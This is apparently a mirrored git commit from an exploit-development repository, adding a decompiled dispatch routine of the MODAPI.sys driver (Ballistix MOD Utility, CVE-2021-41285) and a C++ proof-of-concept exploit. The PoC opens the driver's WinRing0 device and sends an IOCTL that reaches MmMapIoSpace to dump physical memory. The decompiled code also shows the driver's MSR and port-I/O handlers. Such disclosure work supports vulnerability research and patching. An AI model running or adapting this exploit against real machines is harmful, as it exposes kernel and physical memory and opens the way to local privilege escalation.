mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
MODAPI.sys PoC
This commit is contained in:
+212
@@ -0,0 +1,212 @@
|
||||
__int64 __fastcall DispatchDeviceControl(__int64 a1, IRP *a2)
|
||||
{
|
||||
unsigned int *p_Information; // rdi
|
||||
_IO_STACK_LOCATION *CurrentStackLocation; // rdx
|
||||
unsigned int status; // ebx
|
||||
unsigned int IOCTL_Code; // eax
|
||||
_IRP *v7; // rcx
|
||||
unsigned int v8; // er8
|
||||
int v9; // edx
|
||||
unsigned __int32 v10; // eax
|
||||
unsigned int v11; // eax
|
||||
CSHORT v12; // ax
|
||||
unsigned __int8 v13; // al
|
||||
unsigned int Options; // ebx
|
||||
_IRP *v15; // r9
|
||||
_IRP *v16; // rcx
|
||||
int v17; // edx
|
||||
unsigned int Length; // ebp
|
||||
ULONG *MasterIrp; // r9
|
||||
ULONG BusDataByOffset; // eax
|
||||
int v21; // eax
|
||||
|
||||
p_Information = (unsigned int *)&a2->IoStatus.Information;
|
||||
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
|
||||
*(_QWORD *)p_Information = 0i64;
|
||||
status = 0xC0000002; // STATUS_NOT_IMPLEMENTED
|
||||
if (!CurrentStackLocation->MajorFunction)
|
||||
{
|
||||
if (dword_13110 == -1)
|
||||
goto exit_ok;
|
||||
v21 = dword_13110 + 1;
|
||||
goto pre_exit_ok;
|
||||
}
|
||||
if (CurrentStackLocation->MajorFunction == 2)
|
||||
{
|
||||
if (dword_13110 == -1)
|
||||
goto exit_ok;
|
||||
v21 = dword_13110 - 1;
|
||||
pre_exit_ok:
|
||||
dword_13110 = v21;
|
||||
goto exit_ok;
|
||||
}
|
||||
if (CurrentStackLocation->MajorFunction != 14)
|
||||
goto exit;
|
||||
IOCTL_Code = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
|
||||
if (IOCTL_Code > 0x9C4060D4)
|
||||
{
|
||||
if (IOCTL_Code != 0x9C406104)
|
||||
{
|
||||
switch (IOCTL_Code)
|
||||
{
|
||||
case 0x9C406144:
|
||||
Length = CurrentStackLocation->Parameters.Read.Length;
|
||||
if (CurrentStackLocation->Parameters.Create.Options != 8)
|
||||
goto invalid_parameter;
|
||||
MasterIrp = (ULONG *)a2->AssociatedIrp.MasterIrp;
|
||||
BusDataByOffset = HalGetBusDataByOffset(
|
||||
PCIConfiguration,
|
||||
(unsigned __int8)BYTE1(*MasterIrp),
|
||||
(32 * (*MasterIrp & 7)) | ((unsigned __int8)*MasterIrp >> 3),
|
||||
MasterIrp,
|
||||
MasterIrp[1],
|
||||
CurrentStackLocation->Parameters.Read.Length);
|
||||
if (BusDataByOffset)
|
||||
{
|
||||
if (Length == 2 || BusDataByOffset != 2)
|
||||
{
|
||||
if (Length == BusDataByOffset)
|
||||
{
|
||||
*p_Information = Length;
|
||||
goto exit_ok;
|
||||
}
|
||||
status = 0xE0000004;
|
||||
}
|
||||
else
|
||||
{
|
||||
status = 0xE0000002;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = 0xE0000001;
|
||||
}
|
||||
*p_Information = 0;
|
||||
break;
|
||||
case 0x9C40A0C8:
|
||||
case 0x9C40A0D8:
|
||||
case 0x9C40A0DC:
|
||||
case 0x9C40A0E0:
|
||||
v16 = a2->AssociatedIrp.MasterIrp;
|
||||
v17 = *(_DWORD *)&v16->Type;
|
||||
switch (IOCTL_Code)
|
||||
{
|
||||
case 0x9C40A0D8:
|
||||
__outbyte(v17, *((_BYTE *)&v16->Size + 2));
|
||||
goto exit_ok;
|
||||
case 0x9C40A0DC:
|
||||
__outword(v17, *(&v16->Size + 1));
|
||||
goto exit_ok;
|
||||
case 0x9C40A0E0:
|
||||
__outdword(v17, *(_DWORD *)(&v16->Size + 1));
|
||||
goto exit_ok;
|
||||
}
|
||||
goto invalid_parameter;
|
||||
case 0x9C40A108:
|
||||
goto pre_invalid_param;
|
||||
case 0x9C40A148:
|
||||
Options = CurrentStackLocation->Parameters.Create.Options;
|
||||
if (Options < 8)
|
||||
{
|
||||
invalid_parameter:
|
||||
status = 0xC000000D; // STATUS_INVALID_PARAMETER
|
||||
goto exit;
|
||||
}
|
||||
v15 = a2->AssociatedIrp.MasterIrp;
|
||||
*p_Information = 0;
|
||||
status = Options - 8 != HalSetBusDataByOffset(
|
||||
PCIConfiguration,
|
||||
(unsigned __int8)BYTE1(*(_DWORD *)&v15->Type),
|
||||
(32 * (*(_DWORD *)&v15->Type & 7)) | ((unsigned __int8)*(_DWORD *)&v15->Type >> 3),
|
||||
&v15->MdlAddress,
|
||||
*(_DWORD *)(&v15->Size + 1),
|
||||
Options - 8)
|
||||
? 0xE0000003
|
||||
: 0;
|
||||
break;
|
||||
}
|
||||
goto exit;
|
||||
}
|
||||
v11 = vuln_MmMapIoSpace(
|
||||
(__int64)a2->AssociatedIrp.MasterIrp,
|
||||
CurrentStackLocation->Parameters.Create.Options,
|
||||
a2->AssociatedIrp.MasterIrp,
|
||||
CurrentStackLocation->Parameters.Read.Length,
|
||||
p_Information);
|
||||
pre_exit:
|
||||
status = v11;
|
||||
goto exit;
|
||||
}
|
||||
switch (IOCTL_Code)
|
||||
{
|
||||
case 0x9C4060D4:
|
||||
write_B_W_DW:
|
||||
v7 = a2->AssociatedIrp.MasterIrp;
|
||||
v8 = CurrentStackLocation->Parameters.Create.Options;
|
||||
v9 = *(_DWORD *)&v7->Type;
|
||||
switch (IOCTL_Code)
|
||||
{
|
||||
case 0x9C4060CC:
|
||||
v13 = __inbyte(v9);
|
||||
LOBYTE(v7->Type) = v13;
|
||||
goto pre_exit2;
|
||||
case 0x9C4060D0:
|
||||
v12 = __inword(v9);
|
||||
v7->Type = v12;
|
||||
goto pre_exit2;
|
||||
case 0x9C4060D4:
|
||||
v10 = __indword(v9);
|
||||
*(_DWORD *)&v7->Type = v10;
|
||||
pre_exit2:
|
||||
*p_Information = v8;
|
||||
goto exit_ok;
|
||||
}
|
||||
pre_invalid_param:
|
||||
*p_Information = 0;
|
||||
goto invalid_parameter;
|
||||
case 0x9C402000:
|
||||
*(_DWORD *)a2->AssociatedIrp.MasterIrp = 16908293;
|
||||
goto LABEL1;
|
||||
case 0x9C402004:
|
||||
*(_DWORD *)a2->AssociatedIrp.MasterIrp = dword_13110;
|
||||
LABEL1:
|
||||
*(_QWORD *)p_Information = 4i64;
|
||||
exit_ok:
|
||||
status = 0;
|
||||
break;
|
||||
case 0x9C402084:
|
||||
v11 = readmsr(
|
||||
(unsigned int *)a2->AssociatedIrp.MasterIrp,
|
||||
CurrentStackLocation->Parameters.Create.Options,
|
||||
(unsigned __int64 *)a2->AssociatedIrp.MasterIrp,
|
||||
CurrentStackLocation->Parameters.Read.Length,
|
||||
p_Information);
|
||||
goto pre_exit;
|
||||
case 0x9C402088:
|
||||
v11 = writemsr(
|
||||
(__int64)a2->AssociatedIrp.MasterIrp,
|
||||
CurrentStackLocation->Parameters.Create.Options,
|
||||
(__int64)a2->AssociatedIrp.MasterIrp,
|
||||
CurrentStackLocation->Parameters.Read.Length,
|
||||
p_Information);
|
||||
goto pre_exit;
|
||||
case 0x9C40208C:
|
||||
v11 = readpmc(
|
||||
(unsigned int *)a2->AssociatedIrp.MasterIrp,
|
||||
CurrentStackLocation->Parameters.Create.Options,
|
||||
(unsigned __int64 *)a2->AssociatedIrp.MasterIrp,
|
||||
CurrentStackLocation->Parameters.Read.Length,
|
||||
p_Information);
|
||||
goto pre_exit;
|
||||
case 0x9C402090:
|
||||
__halt();
|
||||
case 0x9C4060C4:
|
||||
case 0x9C4060CC:
|
||||
case 0x9C4060D0:
|
||||
goto write_B_W_DW;
|
||||
}
|
||||
exit:
|
||||
a2->IoStatus.Status = status;
|
||||
IofCompleteRequest(a2, 0);
|
||||
return status;
|
||||
}
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
+108
@@ -0,0 +1,108 @@
|
||||
/*
|
||||
Exploit title: Ballistix MOD Utility v.<= 2.0.2.5 (MODAPI.sys) - Mapping physical memory into virtual address space
|
||||
Exploit Authors: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
|
||||
Grade: PoC
|
||||
CVE: CVE-2021-41285
|
||||
Date: 15/09/2021
|
||||
Version: v.2.0.2.5
|
||||
Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
|
||||
Category: local exploit
|
||||
Platform: windows
|
||||
*/
|
||||
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <windows.h>
|
||||
|
||||
using namespace std;
|
||||
|
||||
int main()
|
||||
{
|
||||
DWORD PhysicalMemAddr = 0xE0000; // Physical memory address to read from, change accordingly (max 0x8FFFFFFF)
|
||||
DWORD dwDataSizeToRead = 0x4; // Size of data to read (in chunks), in bytes (1, 2, 4); 1 = movsb (BYTE), 2 = movsw (WORD), 4 = movsd (DWORD)
|
||||
DWORD dwAmountOfDataToRead = 8; // Amount of data (in chunks) to read
|
||||
DWORD dwBytesReturned = 0; // number of bytes returned from the DeviceIoControl request
|
||||
DWORD dwIOCTL = 0x9C406104; // IOCTL reaching MmMapIoSpace function call
|
||||
|
||||
// open a handle to the device exposed by the driver - symlink is \\.\\WinRing0_1_2_0
|
||||
HANDLE hDevice = ::CreateFileW(
|
||||
L"\\\\.\\WinRing0_1_2_0",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
nullptr,
|
||||
OPEN_EXISTING,
|
||||
NULL,
|
||||
NULL);
|
||||
|
||||
if (hDevice == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
cout << "[!] Couldn't open handle to MODAPI.sys driver. Error code: " << ::GetLastError() << endl;
|
||||
return -1;
|
||||
}
|
||||
cout << "[+] Opened a handle to MODAPI.sys driver!" << endl;
|
||||
|
||||
cout << "[-] Allocating buffers' memory area!" << endl;
|
||||
// allocate memory for the DeviceIoControl lpInBuffer & lpOutBuffer buffers
|
||||
LPVOID lpInBuffer = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
LPVOID lpOutBuffer = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (lpInBuffer == NULL || lpOutBuffer == NULL)
|
||||
{
|
||||
cout << "[!] Unable to allocate buffers' memory area. Error code: " << ::GetLastError() << endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
cout << "[-] Populating lpInBuffer" << endl;
|
||||
memmove(lpInBuffer, &PhysicalMemAddr, sizeof(DWORD));
|
||||
memmove((BYTE*)lpInBuffer + 0x8, &dwDataSizeToRead, sizeof(DWORD));
|
||||
memmove((BYTE*)lpInBuffer + 0xC, &dwAmountOfDataToRead, sizeof(DWORD));
|
||||
|
||||
cout << "[-] Sending IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL << endl;
|
||||
bool success = DeviceIoControl(
|
||||
hDevice,
|
||||
dwIOCTL,
|
||||
lpInBuffer, // expressed in Bytes; MUST be 0x10
|
||||
0x10,
|
||||
lpOutBuffer, // MUST be GREATER than chunk size (dwDataSizeToRead * dwAmountOfDataToRead)
|
||||
0x40,
|
||||
&dwBytesReturned,
|
||||
nullptr);
|
||||
if (!success)
|
||||
{
|
||||
cout << "[!] Couldn't send IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL
|
||||
<< " Error code: " << ::GetLastError() << endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
cout << endl << "[+] Dumping " << dec << (dwDataSizeToRead * dwAmountOfDataToRead)
|
||||
<< " bytes of data from 0x" << hex << uppercase << setw(16) << setfill('0') << PhysicalMemAddr << endl;
|
||||
cout << string(70, '-') << endl;
|
||||
// pretty print memory dump
|
||||
for (int nSize = 0; nSize <= 0x32; nSize += 0x10)
|
||||
{
|
||||
for (int i = 0; i <= 0xF; i++)
|
||||
{
|
||||
// output byte
|
||||
printf("%02X ", *((BYTE*)lpOutBuffer + i + nSize));
|
||||
}
|
||||
cout << " ";
|
||||
for (int i = 0; i <= 0xF; i++)
|
||||
{
|
||||
CHAR cChar = *((BYTE*)lpOutBuffer + i + nSize);
|
||||
// if byte is in printable range, then print it's ASCII representation
|
||||
if (cChar >= 0x20 && cChar <= 0x7E)
|
||||
{
|
||||
printf("%c", *((BYTE*)lpOutBuffer + i + nSize));
|
||||
}
|
||||
else
|
||||
{
|
||||
cout << ".";
|
||||
}
|
||||
}
|
||||
cout << endl;
|
||||
}
|
||||
cout << string(70, '-') << endl;
|
||||
// housekeeping
|
||||
VirtualFree((LPVOID)0x41000000, 0, MEM_RELEASE);
|
||||
VirtualFree((LPVOID)0x42000000, 0, MEM_RELEASE);
|
||||
ExitProcess(0);
|
||||
}
|
||||
Reference in New Issue
Block a user